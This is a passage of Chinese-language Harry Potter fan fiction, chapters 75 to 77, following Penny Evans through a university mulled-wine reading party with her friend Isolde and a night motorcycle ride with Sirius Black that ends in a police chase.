——大标题上写着“卡尔维特宣布与其前妻之女断绝父女关系。”
正文的内容为卡尔维特向媒体控诉在他如此细心的栽培下,伊索尔德作为一名不肖女儿的种种罪行。
架势看起来要审判她下九层地狱。
“你最大的罪行在于没有按照他的意愿,嫁给他为卡尔维特选的联姻对象,你居然公开宣称你要继续上大学!”公寓里,佩妮举着报纸对富商的不肖女儿笑着说,“他甚至要取消以你妈妈的名字成立的“怀特霍恩”基金——因为你的原因。”
“没有人能够让我离开大学。”富商的不肖女如此说,“他取消那个基金也不过是因为卡尔威特的资金链出现了问题。”
“卡尔威特为你找的联姻对象名下拥有一个面积足足有200亩的农场,好几栋别墅,还有一条游艇。”佩妮指着报纸上的文字,对伊索尔德眨了眨眼睛,“你错过了点着壁炉的温暖别墅,烤羊排,烤牛排,只能在这冰冷冷的公寓里,对着坏掉的烤箱一筹莫展。”
伊索尔德穿好她的外套,系上她的围巾,把佩妮的帽子毫不客气地按在了她的头上:“但这里不也有人错过一条三层甲板的豪华游艇,米其林三星主厨的晚餐,还有北欧真正的极光。”
“因为我是一只呆鹅。”佩妮眯起了她的眼睛,把手中的报纸揉成了一团,扔进了垃圾桶。另外一份报纸叠得整整齐齐,放在她的手提箱最底下,那份报纸一个不起眼的角落,刊登着一句艰难挤进去的话:
——“伊索尔德·卡尔维特宣布改名伊索尔德·怀特霍恩。”
“不,”正要推门走出去的伊索尔德听见这句话,停下来,她转过身水蓝色的眼睛以一种无比认真的神情看着佩妮,“你不是呆鹅,我也不是。”
伊索尔德面不改色地从那举着报纸的人身边经过——可要认出她就是报纸上的那个不肖女可不容易,因为现在的她同报纸上判若两人——她把自己的头发剪短了,她自己剪的,金色的发尾凌乱地翘在她的脸颊旁,一身灰扑扑的外套下是一件稍显宽大的旧酒红色毛衣搭配有些褪色的牛仔裤。
她瘦了很多,眼窝凹陷了下去,像是走了很远的路才来到佩妮的面前,但从眼镜后透出来的却是一双生机勃勃的眼睛。
——好像有东西从她身上流走了,又有什么东西悄然新生。
“三明治里我要加双倍的芝士。”佩妮对伊索尔德说,看着伊索尔德从她的外套里掏出一叠不算厚的纸币,从中数出几张递给了柜台后的收银员。
那是伊索尔德兼职的工资,同她一样,付去房租后并不剩多少,但佩妮理直气壮地要求伊索尔德负责她的吃住,因为她把新攒下的钱全部赠与了伊索尔德当作她的投资基金。
“这是资助你成为未来教授的启动资金,以后如果你获得了终身教职,你得到的每一笔讲课费都要返还我百分之一作为我投资的回报。”
“这就是你在你的工作中学到的东西吗?”
“当然。”佩妮毫无愧意地说。
拿在手上的热三明治传递出温暖,抵御冬季的寒风。走在路上,街灯在她们头上亮起,就像一轮轮圆月,她们从一个月亮,走向另一个月亮。
“伊索尔德·怀特霍恩。”佩妮念出属于伊索尔德妈妈的姓氏,在心里反复咀嚼着它。
伊索尔德侧过脸,水蓝色的眼镜看着她:“现在我完完全全是妈妈的女儿了。”
相片里穿着长裙戴眼镜坐在单人皮质沙发上的女人穿过时间和记忆,同眼前那双水蓝色的眼睛慢慢重合,对佩妮露出温柔的笑意。
有什么东西在这一瞬间填满了佩妮的心。
“我什么也没有从他那里拿走,穿着睡衣光着脚就从他的房子里出来了,他站在楼上看起来气坏了。不允许仆人拿给我哪怕一双鞋。但没关系,路上有一个好心人借了几个便士给我,我联系上了埃莉诺,让我重新回到了这里。”
“可是埃莉诺为什么没有在这里?”
“她也有自己的事情,”伊索尔德温柔又坚定地看着佩妮,“她为我找到了这间公寓,留下了几个月的房租。我已经长大了,不需要她一直在。找到的几份兼职工作,总足以让我生活下去。”
伊索尔德带着佩妮穿过一道铁门。
铁门高耸从上往下注视着她——看起来比圣凯瑟琳中学巍峨得多。
一开始佩妮并不敢进去,全然陌生的草坪,陌生的楼栋,陌生的脸庞。
但伊索尔德拉着她轻轻一推,铁门就打开了。
佩妮就这么轻而易举地踏进了伊索尔德的的大学里。
伊索尔德带着她沿着蜿蜒的小路往学校里面走,随后小路经过一片澄净的湖水,夕阳的光线在湖水面上投下淋漓的光斑,对岸闪动着橘黄色的灯光,变成了湖水中星星点点的星光。
路的尽头是一栋像教堂般宏伟的建筑,伊索尔德带着佩妮径自穿过那条漆黑的走廊,来到那扇古朴厚重的大门前,伸出手敲了敲,然后推开了他。
伊索尔德推开门,光线漏到走廊里,她们闪身进那明黄空间,将所有寒冷隔绝在门外。
“她们来啦!”教室里的人说。
这是一个不大的教室,穹顶很高,其中一扇玻璃上贴着阿尔忒弥斯凝视沉睡中的恩底弥翁的油画,室内很温暖,角落里放置着冬青树,墙上和窗上都张贴着圣诞装饰物,教室里聚集着好几个男生和女生,围在一口散发热气的锅旁边。
角落放置着一台闪着雪花的旧电视,朱莉蹲在那儿,正在调试它。
朱莉是这所大学物理系的第一个女生,负责收发“宇宙电报”,她的父母住在离她的大学二十公里外的一个小镇上,父亲是小镇上一位小有名气的律师。佩妮认为她是一个古怪的女孩。
第一天佩妮同伊索尔德来到这里,朱莉也蹲在电视机前,她完全无视了首次见面的礼仪与客套,径自邀请佩妮一同聆听“这条宇宙在138亿年前向人类发出的讯息。”
佩妮努力去听去看,可是电视上什么也没有,只有跳动的白色雪花——佩妮再熟悉不过了,在科克沃斯,雷雨天气里每户人家的电视上都会出现的东西。
白光跃动在朱莉的眼睛里,像生出两道凶猛的白色火焰:“宇宙大爆炸产生的微波背景辐射,穿越138亿年时间的深度,向我们传来一点爱与存在的永恒。”
全然陌生的词语在佩妮的脑海中震荡重组,使她心惊又羞恼,朱莉肯定看出来她不是这所大学的学生,所以说些她根本听不懂的稀奇古怪的话。
但是酒是朱莉带来的。
角落里放置着一瓶已经倒空了的红酒瓶,揭开锅盖,红酒、苹果、肉桂的香气席卷了整个房间的空间。
电视机被朱莉调试好了,音乐在房间里回荡。
游戏开始,纸做的橘子花蕾从一个人的手上传到另一个人手上。
音乐声一停,花蕾落到伊索尔德的手上。
人群发生一阵欢呼,她笑着从座位上站起来,接过从热锅里舀起的红酒,眼睛随后被蒙上了一条红色的布。
“那可是伊索尔德,兰诺,为你自己报仇的时候到了。”<
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对面人群里推出来一个男生,他穿一件干净的深蓝色格子衬衫,下摆系在一条深色的裤子里,他有一头柔顺的棕色头发,脸颊上散落一点雀斑,从伊索尔德进来,他的视线就没有离开过她。
伊索尔德说兰诺的父亲是心理学系的教授,他为伊索尔德提供了一份助教的兼职。
“但我没有答应他。”伊索尔德笑着对佩妮说。
伊索尔德被推到兰诺的身边。
朗读者好似比猜谜人更紧张,他右手在自己的裤子上摩挲了几下,在他身后的书架上挑选了一本书,翻开来。
“褐色挨着金色,听见了蹄铁声,钢铁零零响。”
人群安静下来,伊索尔德蒙在红布后面的头偏了偏。
“嗡嗡响彻的和弦。爱得神魂颠倒的时候。战争!战争!耳膜。”
他才读了两句,伊索尔德就公布了她答案:“尤利西斯。”
兰诺的耳朵开始红起来。
“第十一章。”停顿了一下,伊索尔德甚至说出了其中具体的章节。
人群发出欢呼声,里面夹杂着几声对兰诺的埋怨:“兰诺,你是故意的,你明明知道伊索尔德上个月就用的尤利西斯做的读书汇报。”
绯红从兰诺的耳朵蔓延到他泛着雀斑的脸上,在人群的起哄中他抬手要喝下手中的酒,但伊索尔德比他更快。
“他们说的对,你不应该选尤利西斯,兰诺。”她一把扯下蒙在自己脸上的红布,抬起头将自己手中的红酒一饮而尽,将兰诺没有说出口的话
兰诺的视线长久地追逐着伊索尔德,但她的视线却没有在他身上停留太久,伊索尔德转身坐回了佩妮的身边,佩妮闻到她身上淡淡的红酒香。
音乐继续响起,纸花在他们手中流转,佩妮托着腮看着他们,空气中飘荡的酒香使佩妮也像喝了酒一样微醺——但酒是朱莉带的,佩妮从来不喝,她只是坐在伊索尔德的身边,看着他们举杯高谈阔论。
可当音乐下一次暂停的时候,视线随着纸花一同落在了佩妮的手上。
朱莉往她手里塞了一个纸杯,深红色的液体在其中荡处涟漪。佩妮的脸一下涨红起来,她无措地看着伊索尔德:“伊索尔德,我不是……”
可伊索尔德定定看了佩妮一眼,绯红浮现在她的双颊上。佩妮心中警铃大作,还没有等她反应过来,伊索尔德对佩妮一笑,就把她推了出去:“不,你就是……”
红布不给她犹豫的机会,以一种果决的姿态蒙上了佩妮的眼睛,热红酒在纸杯中灼烫佩妮的手心。
黑暗中佩妮只觉得自己心跳如雷,她根本没有读过什么书,这里的人很快就会发现她不是这个大学的人,她就像一名可耻的偷渡客,千方百计偷渡到一个不属于她的地方。
“我渴望自己具有超越那极限的视力,以便使我的目光抵达繁华的世界,抵达那些我曾有所闻,却从未目睹过的生机勃勃的城镇和地区。”
乱跳的心突然安定下来,上天眷顾她,这是一本她读过的书,那个夏天被她塞进床缝里的那本书。
“简·爱。”佩妮听见自己说,她佯装镇定,尾音在发抖,但好像没有人在乎。
人群再次发出欢呼声,红布被解开,光明重新降临到她的视线里。
对面拿着《简·爱》的那个女孩对佩妮眨了眨眼,抬起手,把她面前的那杯红酒喝了下去。
“特雷娅,这么简单的书,我看你就想喝酒!”朱莉大叫起来,然后她的视线落在了佩妮的身上,半强迫性地握住佩妮手中的纸杯送到了她的嘴边,“你也得喝,这太简单了!”
滚烫的红酒顺着她的嗓子往下滑,一开始既酸又苦,但很快,苹果和肉桂的香甜涌上来。
这回一股真实的眩晕笼罩了她,使她的眼前好像起了一层雾。
这里不是灰与榆,但她好像又回到了诺拉的阅读之夜。
在这一刻她突然意识到,“阅读之夜”从来不会停止,只会以各样的形式在各个看起来没有关联的地方反复发生。
人群不知道什么时候散开来,围去了酒锅旁,朱莉又开了一瓶红酒倒进了锅中,伊索尔德就站在她旁边,抽出身对佩妮举起了她的纸杯:“快过来,佩妮。你要再来一杯吗?”
76.chapter75
就好像做了一场梦。
佩妮坐在车厢里,看着车窗外倒退的景色,呼出的气息中仍残留着昨夜的热红酒的香气,使她仍萦绕在一种如坠梦中的眩晕感之中。
梦的开头伊始于一辆冬夜的火车,佩妮坐在车厢里,车窗倒映出她苍白的脸,窗外雨雾模糊了一切。
火车驶动,开进雾茫茫的夜里。
铁轨的尽头是伊索尔德的公寓,她再带领她穿过铁门,沿着小路前行,直到推开了一扇古朴的木门。
一杯、两杯……热红酒顺着她的嗓子滑下去的时候达到幻梦的顶峰。
但她的膝盖上放着一本书,又提醒她这一切并非梦境。
——《包法利夫人》,书的扉页上却签着朱莉的名字。
她是怎么拿到这本书的?
昨夜梦境的尽头是一场为圣诞节表演准备的演出排练。
旁白的声音穿过喧闹的人群传到佩妮的耳朵里。
“过惯了平静的日子,她反倒喜欢多事之秋。”
“她爱大海,只是为了海上的汹涌波涛;她爱草地,只是因为青草点缀了断壁残垣。”
“在她看来,以身殉教的女杰贞德、同老师私奔的爱洛伊斯、查理其实的情妇阿涅斯·索雷、美丽的费隆夫人、女诗人克莱芒丝·伊索尔像是灿烂的彗星划破了历史的慢慢长夜。”
“还有艾玛难忘的、晚餐盘子上的彩画所颂扬的路易十四,虽然也在黑暗的天空中发出闪烁的光辉,但和那些受到宗教迫害妇女,似乎没有什么关系。”
“夏尔谈起话来,像一条人行道一样平淡无奇,他的想法,也和穿着普通衣服的过路人一样,引不起别人的兴趣;笑声,更不会使人浮想联翩。”
佩妮没有见过这样的舞台剧,说是舞台剧,可舞台上只有一个演员,负责扮演故事的主人公艾玛小姐——佩妮昨晚才认识她,旁白却那么多,听起来像个诗朗诵。
可要说是诗朗诵,在仿佛有魔力的旁白声中,佩妮的眼睛没有办法从房间草草搭建的舞台上,扮演艾玛小姐的演员身上移开。
她没有多少动作,只是穿着漂亮的裙子,有时坐在床上,有时坐在窗边,她的目光看着纸做的窗户,脸上却是一副百无聊赖的样子。
从演员到台下的观众,这屋子里的人好像都对这个故事熟稔于心,他们排练这个故事,只聚焦于演员的动作,以及选取哪一句旁白,他们期望于如何用一种隐晦的象征方式,来与观众达到心照不宣的共鸣。
至于剧情如何,他们不甚关心。
唯一没读过这个故事的人是佩妮。
她走到书架前,找到了这本书,随手翻开一页,正巧看到了这句话。
“她想旅行,或者回修道院。她既想死,又想去巴黎。”
有什么东西在此刻重重地击中了佩妮。
佩妮把这本书猛地合上。
朱莉不知何时站到了她的身边,手上端着一杯新煮的红酒:“啊,你拿的是我的书。我不喜欢这个故事的结局。我也不喜欢安娜·卡列尼娜的结局,但它们确实是伟大的作品。你要喜欢,你可以把这本书拿走,但是等价交换,你得放一本书进来。”
佩妮请求伊索尔德帮她把《山雀》放进那个书架。她有一点心虚,但她的私心也想要那只想鹰一样矫健的鸟,也能被他们看见。
登上火车之前,挤在站台上等待的人群中,佩妮小声地对伊索尔德说:“这趟旅程就像一场梦一样。”
天空飘着微雨,气温寒冷,列车员打开车门,人群向车厢内挤去,打断了伊索尔德要对她说的话。
佩妮费了一番劲才登上车,她穿过拥挤的人群,车厢里十分嘈杂,有孩童的哭声,推车叫卖的声音,还有谁的行李箱占据了谁的座位的争吵声。
透过打开的车窗,佩妮看见伊索尔德在站台上急切地往车厢里寻觅她的身影。
伊索尔德好不容易看见了佩妮,手放在嘴边,使自己的声音尽量越过那些嘈杂的声音向佩妮传来:“这不是梦,佩妮,回去记得给我写信,新的地址。”
火车晃动了一下,在站台上只停留了很短的片刻,便在细雨中往前开动了。
车窗外的景物快速倒退,佩妮的视线落到膝盖上的那本《包法利夫人》上,这本书的文字以一种她无法想象的绚丽方式排列组合。
艾玛穿一件领子敞开的室内长袍,照照镜子,拿起一本书,书又心不在焉地掉在膝盖上。
她想旅行,或者回修道院。她既想死,又想去巴黎。
她可能也在一条河里面。
她不值得同情,她为自己的欲望付出了代价。
“嘿,到站了。”列车员屈起手指,用指节在佩妮面前的桌上狠狠敲了敲。
佩妮吓了一跳,有些茫然地从书中抬起头,她才发现列车早已到站了,车厢此时只剩下了她一个人。
宿醉的眩晕仍缠绕着她。
佩妮拿着自己的手提箱,跌跌撞撞地冲下站台。伦敦也在下雨,她深吸了一口气,凉风席进她的胸膛,带着点煤土的味道,使昏沉的大脑清晰了一点。
梦以一辆雨中的火车开始,也以一辆雨中的火车结束。
多利围着佩妮的手提箱,嗅着她新带回来的味道。
佩妮正要把那本《包法利夫人》放进抽屉,但抽屉里被她塞了乱七八糟的东西,这本书怎么也塞不进去。
佩妮把整个抽屉抽出来,原来在抽屉的尽头,阿加莎女士送给她的那两本书抵在了里面。佩妮把这两本书拿出来,一本关于拉丁语,一本关于哲学,佩妮统统只看了一个开头,便塞进了抽屉的深处——拉丁语她读不懂,关于哲学的那本书她也看得如坠云雾,现代中学完全没有传授过这两门课程的任何知识。
阿加莎女士可能把书送错人了。
两本书的底下是那本上次从出版社出来后,便丢进抽屉最深处的黑色笔记本。
佩妮把它也取出来,摩挲着笔记本羊皮质的柔软封面。她突然意识到,她缺少一个书架——一直以来,这些书都放在她的抽屉里。
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>明天才回科克沃斯,佩妮拿着黑色笔记本走出房门,现在天色还不算太晚,她还可以去给自己选一个小型书架。
走在街上,冷风迎面吹来,热红酒的余韵还留存在她的大脑和身体里,使她的大脑嗡嗡作响,身体还有一些发软。
他们的声音盘旋在她的脑海里,那时候大家都被热红酒蒸腾热气的带到了最高点,眼睛映着穹顶上的彩色玻璃,也不记得谁说的。
“假设你喜欢的是文学,如果要选文学这个专业,在A level的课程里,你需要选的就是哲学还有拉丁语。”他们说。
但你喜欢文学吗?
佩妮询问自己。
你既非律师或是教授或是商人的孩子。
你不是女巫,你也不是山雀。
最重要的是你既已在伦敦拥有了一份工作,工作给你提供一份薪水,使你在伦敦能够拥有一件属于自己的房间。
妈妈通过你来到了伦敦。
啊,对了,你还凭借自己的能力养了一只猫。
这样的生活也未尝不可。
出版社的大门上了锁,里面漆黑一片,佩妮突然想起来现在是圣诞节假期。
她觉得自己真是笨拙得像一只呆鹅。
算了,回去吧。
书架也不买了,等圣诞节后再说。
佩妮拿着自己的黑色笔记本慢慢往公寓走,天气有点冷,呼出的气息在面前凝结成白雾,天气预报说今晚可能要下雪。
再也不喝酒了。
不知道从哪家仍开业的商铺传来叮叮当当的圣诞颂歌,街上张灯结彩,一派热闹的景象。
她看到街角停着一辆餐车,招牌上写着本店出售苹果热红酒。
其实再来一杯也未尝不可,就一杯。
只要不要像朱莉那样一瓶又一瓶地倒进去,喝到大家都听见了宇宙138亿年前发来的讯息就行。
她抬腿往餐车哪边走,路过一张长凳。
“佩妮!”
脚步微顿,佩妮环顾了一下四周,却没看见熟悉的面庞,声音从哪来的,幻听了吗?
佩妮继续往前走。
“佩妮·伊万斯!”
没有幻听,那声音近了些,带着一点被无视的愤怒。
佩妮回头,撞进一双灰色的眼睛里。
灰色眼睛的主人穿一件加绒夹克,围着一条深红色的围巾,瘦削高挑的身型挺拔地站在路灯下。
那双漂亮的灰色眼睛紧紧凝望着佩妮,黑色的头发有些长,束在脑后,几缕碎发落在那光洁的额头上。
——小天狼星·布莱克。
此时一群不知何时出现的人群,突然从两人之间穿过,隔断他遥望过来的眼神。
佩妮下意识扭头就跑。
留下一双骤然瞪大的眼睛露出不可置信的神色,遥遥被她抛在原地。
快跑,别被他追上。
瞧瞧他那双眼睛,活像只控诉被人抛弃的小狗。
她可不想被追上,然后秋后算账。
77.chapter76
远处的教堂区遥遥传来一声钟声。
随着街灯的亮起,街头也越来越热闹,人声鼎沸,各式各样的裤子和鞋子从佩妮面前经过。
佩妮和小天狼星再次平分那张长凳,她坐在左边,小天狼星坐在右边。
小巫师摇身一变,从当初一副旧派贵族打扮的派头,变成了如今海报上摇滚明星的样子,变化差距之大,使佩妮第一眼没有认出他来。
“所以,你的故事呢?”摇滚明星上身后仰,懒洋洋地靠在长凳的椅背上,灰色的眼睛直视着前方落下月光和灯光的地面,手中转动着一杯散发热气的纸杯装红酒,一派气定神闲的样子。他这副张扬的样子,总让人情不自禁地往他的脸上多瞧几眼。
天气太冷了,佩妮把自己下半张脸藏在围巾里,她的左手紧紧握着她的那本黑色笔记本,右手也端着一杯热红酒。
“咳,从前……”佩妮清了清嗓,声音唤来灰色的眼睛落在她的脸上,使她觉得围巾的绒毛弄得她脸颊微微有些发痒。
“从前?”灰色的眼睛配合地回应她,语调却带着狐疑的上扬,似乎已经看穿了她的把戏。
“从前!”佩妮拨开她的围巾,佯装镇定地拉长了她的语调,试图令小天狼星信服,虽然她的大脑此刻在一刻不停地飞速运转着。
——一个要告诉小天狼星的故事。
被他在人群中精准抓住,望着他那双写满控诉的眼睛时,佩妮当时只有一个念头,绝不能让他先开口控诉她。
“你想听一个故事吗,”嘴比脑子更快,佩妮很艰难地说,转动她的手,试图从他的禁锢中挣脱出来,“跟那天的事情有关。”
那双灰色的眼睛狐疑地看着她,亮晶晶地反射着月光和灯光,抓住她的力道却适时减弱。
“想听就放开我,坐到那儿去。”佩妮指了指那张长凳说,“我再请你喝杯热红酒。”
视线落在她的脸上,像有温度一样,使她的脸微微灼热起来。好像过了很长一段时间,但事实上只有一两秒,小天狼星眉毛一扬,就松开了抓住她的手,大步在她前面,走向那张长凳。
但他刚走了两步,就停下来转身看着佩妮,紧紧盯着她,好像生怕她跑了似的,就连她去餐车上买热红酒的时候,也亦步亦趋地跟着她。
佩妮转动手中的红酒,里头同样放了肉桂和苹果,可这杯热红酒的味道却更加粗粝,喝下去火辣辣地划过她的嗓子,在她的背后激起一层薄汗——这倒让她感到没那么冷了。
是她弄错了,他可不是专程来跟她算账的,他要等的实际另有其人——他那有着一头海藻般乱七八糟头发的朋友把他暂时搁置在了这儿,她是无意撞到他网上的倒霉猎物。
可谁让她心虚,作势要逃跑。这下好了,一个故事!一个什么故事呀?!佩妮发誓自己的大脑从来没有像现在这么紧张清醒过。
“从前,布伦南小姐拥有一把宝剑,要穿过一片森林,去拯救她的父亲。“佩妮清了清自己的嗓子,左手握着的那本笔记本带给她力量,使她开始斟酌着胡说八道起来,所有的故事元素在她的脑子里开始转动,“但她在森林里迷路了。”
“迷雾笼罩森林,四周一片昏暗,打败了太多的敌人,又劈开挡路的荆棘,布伦南小姐的宝剑已经失去了光泽。但四周仍危机丛生。布伦南小姐心急如焚,对众神祈祷,她一颗赤诚之心引来了自然之灵的眷顾,自然之灵化作,化作……”
快想想,自然之灵能化作什么威风凛凛的动物。
“自然之灵化作了一只雄鹿,”佩妮说,眼角的余光看见小天狼星从座椅上挺直了他的脊背,“它为布伦南小姐指明了前进的道路,并重新擦亮了她的宝剑,宝剑重新锋利起来,挥拭间甚至无意在雄鹿的前蹄上留下了一道剑痕。”
“布伦南小姐没有注意到这些,她救父心切,顺着雄鹿指引的方向急奔过去,很快离开了森林,救出了她的父亲。”
“可回程时,布伦南小姐却再次被困在了这片森林里,因为她忘了一件事情。”
灰色的眼睛落在佩妮的身上,佩妮再次抿下一口酒,迎着他的视线,自顾自地说下去:“她忘记对雄鹿说谢谢还有对不起了。她虔诚地祈求雄鹿再次出现,等前蹄带伤的雄鹿从森林深处出现时,布伦南小姐看着雄鹿的眼睛说——”
“对不起,还有谢谢。”佩妮她诚挚地凝望小天狼星的眼睛,由衷地希望小天狼星能够听明白,“雄鹿带着布伦南小姐离开了森林,她的英雄之旅顺利结束了。”
她看见小天狼星的表情古怪起来,红白在他脸上交错,看起来像是听明白了她的故事。可他沉默了半晌,却来了一句:“自然之灵为什么是一头雄鹿?”
“……”好的,他没有听懂。
“童话故事都是这么说的,一般来说,雄鹿就是森林之王。不是,我的故事重点是布伦南小姐要说的话,她说谢谢,还有对不起!”看着小天狼星的神色,佩妮投降似地说,“那你说自然之灵应该是什么样子。”
“黑狗,”小天狼星俊美的脸颊上泛起一层红晕,不知道是因为生气还是因为激动,“森林里为什么不能出现黑狗,像狼一样的黑狗。”
这唤起了佩妮一些不太好的回忆:“那太邪恶了。像狼一样的黑狗,那是童话故事中的反派。”
“黑狗一点也不邪恶,谁说黑狗都是反派?”佩妮不知道自己哪里说错了,小天狼星看起来格外激动,现在这副样子可一点也不像让女孩频频回头的摇滚明星了。
话题要走到佩妮没有办法控制的地方去了,这可不是她的本意。佩妮只好长长地叹了一口气:“好好好,自然之灵可以是一只鹿,也可以一只黑狗。重点是,布伦南小姐欠它一句谢谢,还有对不起。”
“谢谢,还有对不起!”佩妮重复了一遍,像按下了暂停键,小天狼星一下安静下来。
“你确实把你的那辆车弄回去了,对吧。”佩妮对他眨了眨眼睛,“你可是一名很厉害的巫师。”
“你不相信我。”
“但你要带着一个我这样的麻瓜,你绝不可能那么轻松地从警察手里脱身,也没有办法把你自己的车弄回去不是吗?”
这杯热红酒味道更粗粝,酒劲也更大,胸腔里的心脏扑通扑通直跳,佩妮觉得自己的头脑从未这般清醒过。
“对不起,我同你说对不起了,我请你喝酒,对了,你喜欢那天我送给你的画吗?”她迎着灰色的眼睛看过去,热红酒使她忘记了基本的礼仪,视线长久地盯在他左耳的单边金属耳饰上,使灰色眼睛的主人不得不
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别开他的脸,那层红晕却愈发明显。
又传来一阵被敲响的钟声,不远处的广场上突然传来一阵音乐,原是有人站在那儿拉起了小提琴,悠扬的音乐合着教堂的钟声在空气里荡出余韵,不多时人群就团团围住了小提琴手。
那琴声就像华丽的绸缎,佩妮看见广场上已经有三三两两的人群开始跳起了舞。
于是她对小天狼星伸出了手:“如果你还生气的话,我请你跳一支舞吧。”
“嘿,”看见佩妮伸出来的手,小天狼星脸上精彩纷呈,“你不能总是这样。”
她总是怎样?
“但我太久没有跳过了,上次跳舞还是在小学,和莉莉扮演王子公主的那次。我只能尽力保证不踩到你的脚。”
她的手悬在空中,小天狼星看了一会儿,突然从长凳上站了起来,一把隔着衣袖抓住佩妮的手腕:“如果你真的感到抱歉的话,那这次轮到我了。”
什么叫轮到他了?
佩妮没有防备地被他拉起来,一时不查,热红酒洒在了她的围巾上。
“喂,我的红酒,还有我的围巾。”佩妮慌忙解下自己被弄脏的围巾,冷风一下扑到了她的脸上。
但有人突然伸手拿走了她那条被弄脏的围巾,另外一条暗红色的围巾落到了她的脖子上,龙舌兰香和温暖一同袭来,将她和寒冷隔开,普通的围巾肯定没有这样的功效。
杯中只剩下了半杯红酒,佩妮索性一仰头全都喝了下去。
小天狼星站在旁边看着她,突然问道:“你喝了几杯酒?”
“什么?就这一杯呀。”
小天狼星不置可否地笑了一下:“不是现在,白天,或再早一点,你喝了几杯酒?”
佩妮掰着自己的手指,朱莉倒了几瓶红酒下去?一杯?两杯?她不记得了,伊索尔德总是给她一杯接一杯地端过来。
但她保证,自己的头脑从未像此刻这般清醒,甚至可以再来一杯,只是街上卖的红酒毕竟比不上朱莉的酒,有点可惜。
她的目光落在小天狼星手上那杯没有动过的那杯红酒上。察觉到她的视线,小天狼星眉毛一扬,将那杯酒高高举了起来:“这是我的。”
“你一直没有动它,这红酒没有那么好。”佩妮诚实地说,“你可能确实喝不习惯,你不喜欢就把它给我,下次有机会再请你喝别的。”
听见这句话,小天狼星当着她的面,一抬头,就把那杯酒喝了下去。喉结微动,左耳的单边金属耳饰在灯光下闪闪发光。
“好了,现在得走了,我们得抓紧时间。”
小天狼星的手隔着衣袖牢牢抓住她的手腕,拉着她在路灯下奔跑起来。
雪在这个时候落了下来,一片一片,刚落到他们的肩头就融化消失了。
很冷,呼出的气体凝结成白霜,但温暖的围巾将一切隔开来。
心脏砰砰直跳,路边的街景在后退。
佩妮看见一家名为安德烈的鞋店,橱柜里一个不停转动的底座上旋转着一只水晶鞋。
一晃而过的魂断蓝桥的电影海报。
照相馆墙壁上贴着的金发碧眼的女郎照片。
就这样路过好几个街道。
直到看见那辆巨大的摩托车静静地停在月光下。
78.chapter77
月光下,那辆摩托车静静地停在那里,车身笼罩着一层流动的若隐若现的银色光芒——同她第一见的时候也不太一样了。
“我改良了一下这辆摩托车。”小天狼星把头盔塞进佩妮的怀里,语气里透露着显而易见的骄傲。
佩妮拿着头盔,眼睛直勾勾地看着小天狼星。
“你不能这么看着我,你喝了几杯酒?”小天狼星学着佩妮的样子掰着他的手指,“一杯?两杯?三杯?你还记得清吗?”
“这次得轮到我了,”红酒的劲头上来,眩晕中,月光简直要从他那双灰色的眼睛里流出来了,“你在害怕吗?你害怕被西里斯·布莱克摔断脖子吗?”
摩托车发出了一声轰鸣,猝不及防地启动,佩妮下意识拽住了他的衣摆,才不至于被甩出去。
后视镜里小天狼星灰色的眼睛弯了起来,他开始加速,迎面吹来的冷风像小刀一样,但围巾将寒冷隔绝在外面。
“你是第二个坐在我车后座的,但是我却是第三个坐在你车后座的人,这样不公平。我告诉你第一个坐在我车后座的是詹姆,作为交换,你得告诉我,那两个坐在你车后座的,都是谁?”风在她耳边呼啸而过,送来小天狼星单方面的信息宣布。
“莉莉都没有坐过你的车后座。”他补充道。
佩妮听见自己发出了一声笑声:“我不告诉你,那是个秘密。”
“嘿,我已经告诉你我的秘密,你也得告诉我你的。”小天狼星不满地叫嚷起来。
“那是你单方面告诉我的,我可没有答应你。”
摩托车恼怒地再一次加速,但佩妮这次紧紧拽着小天狼星衣服的下摆,一点也没有晃动,她对着后视镜里的灰色眼睛开心地笑起来。
泰晤士河对岸的街灯像流星一般快速地从他们身边划过,远处的天边是暗沉的蓝色,云卷着月亮,就像梵高的画卷。
无论是直行还是转弯,摩托车的速度都很快,他们超过那些慢吞吞的汽车,鸣笛声此起彼伏地响起。
但小天狼星丝毫不在意,不减速。后视镜里映着他意气风发的笑容,他们像一尾游鱼嚣张地畅游在街道的河流中,穿行在一辆辆汽车之间。
要是在往常,佩妮一定狠狠咒骂这个疯狂的小疯子,可今晚红酒在她血液里不安地流淌,黑色笔记本藏在佩妮大衣外套的里面那层,紧紧贴着她。
寒风呼啸,笔记本却逐渐沾染上了她的体温,使她的心也开始发烫。
佩妮听见警笛声,还有断断续续的对讲机里发出来的声音,她回头。
意料之中,红蓝警灯在他们身后亮起,从那些模糊的色块里探出头和手,恼怒地向他们挥舞示意,逐渐逼近。
夜风把佩妮金色的头发吹起,她收回自己的视线,靠近小天狼星:“你行不行,不行换我来,我带你甩开那些警察。”
摩托车发出一声不满的咆哮,小天狼星的笑声从前方传来。
“可是来不及了。”他说,“你看看前面。”
佩妮抬头,前方不远处的路口,早已提前设置好了一排路障,静悄悄地耸立在那儿,等待他们自投罗网。
“怎么办,我们被前后夹击了。”小天狼星稍微坐直了一点他的身体,他不紧不慢的声音从前方传来:“要停下来束手就擒吗?”
后视镜里,他那双漂亮的灰色眼睛真挚地凝望佩妮,他的手放在车把上,好像只要她说停下来,他就真停下来一样。
在这样的视线里,佩妮深深吸了一口气。
这个疯狂的小混蛋。
今天真是太疯狂了,她本来只想出来买个书架而已。
都怪小天狼星,一名惯犯。他看起来毫不意外,他肯定早就已经是这群警察的黑名单榜首了,只等他一出现,就要把他抓起来,现在还连累了她。
她发誓,小天狼星到现在为止他肯定也没弄到他的驾驶证,这个摩托车也没有牌照,更不要提他们现在的速度肯定远远超过路边指示牌上的速度了。
佩妮听见血液在自己的耳边像鼓声一般激烈地跳动着。
——停下来,束手就擒,向他们投降。
一想到这,一股突如其来的强烈酸涩却涌上她的鼻尖,使她咬紧牙,情不自禁地靠近他,但黑色的笔记本又在她身前隔开他。
身下的躯体因她突然的动作一下僵硬起来,随后立刻往前倾,微微拉开了一点和她的距离。
但红酒在佩妮的血液里叫嚣,让她没有注意到这些。
“别停下来,冲过去。”
她只听见自己恨恨地说。
“可是冲过去,撞上那个路障,我们会死的。”那声音仿佛带着魔力,循循善诱地说。
灰色的眼睛在后视镜里与佩妮相逢,灰色湖面看起来风平浪静,但佩妮却嗅出了其下暗涌的滔天巨浪的气息。
不,他才不怕死呢,佩妮心想。
他声音听起来那么凝重,但他却在笑。
他甚至一点儿速度也没减,看那势头就是要直直冲向那个路障。
他一点也不害怕。
他疯狂得没边了。
她害怕。
她应当害怕。
风声如刀,心跳如雷。
停下来,回到家去。
躺在床上,闭上眼睛,做一个深沉的好梦。
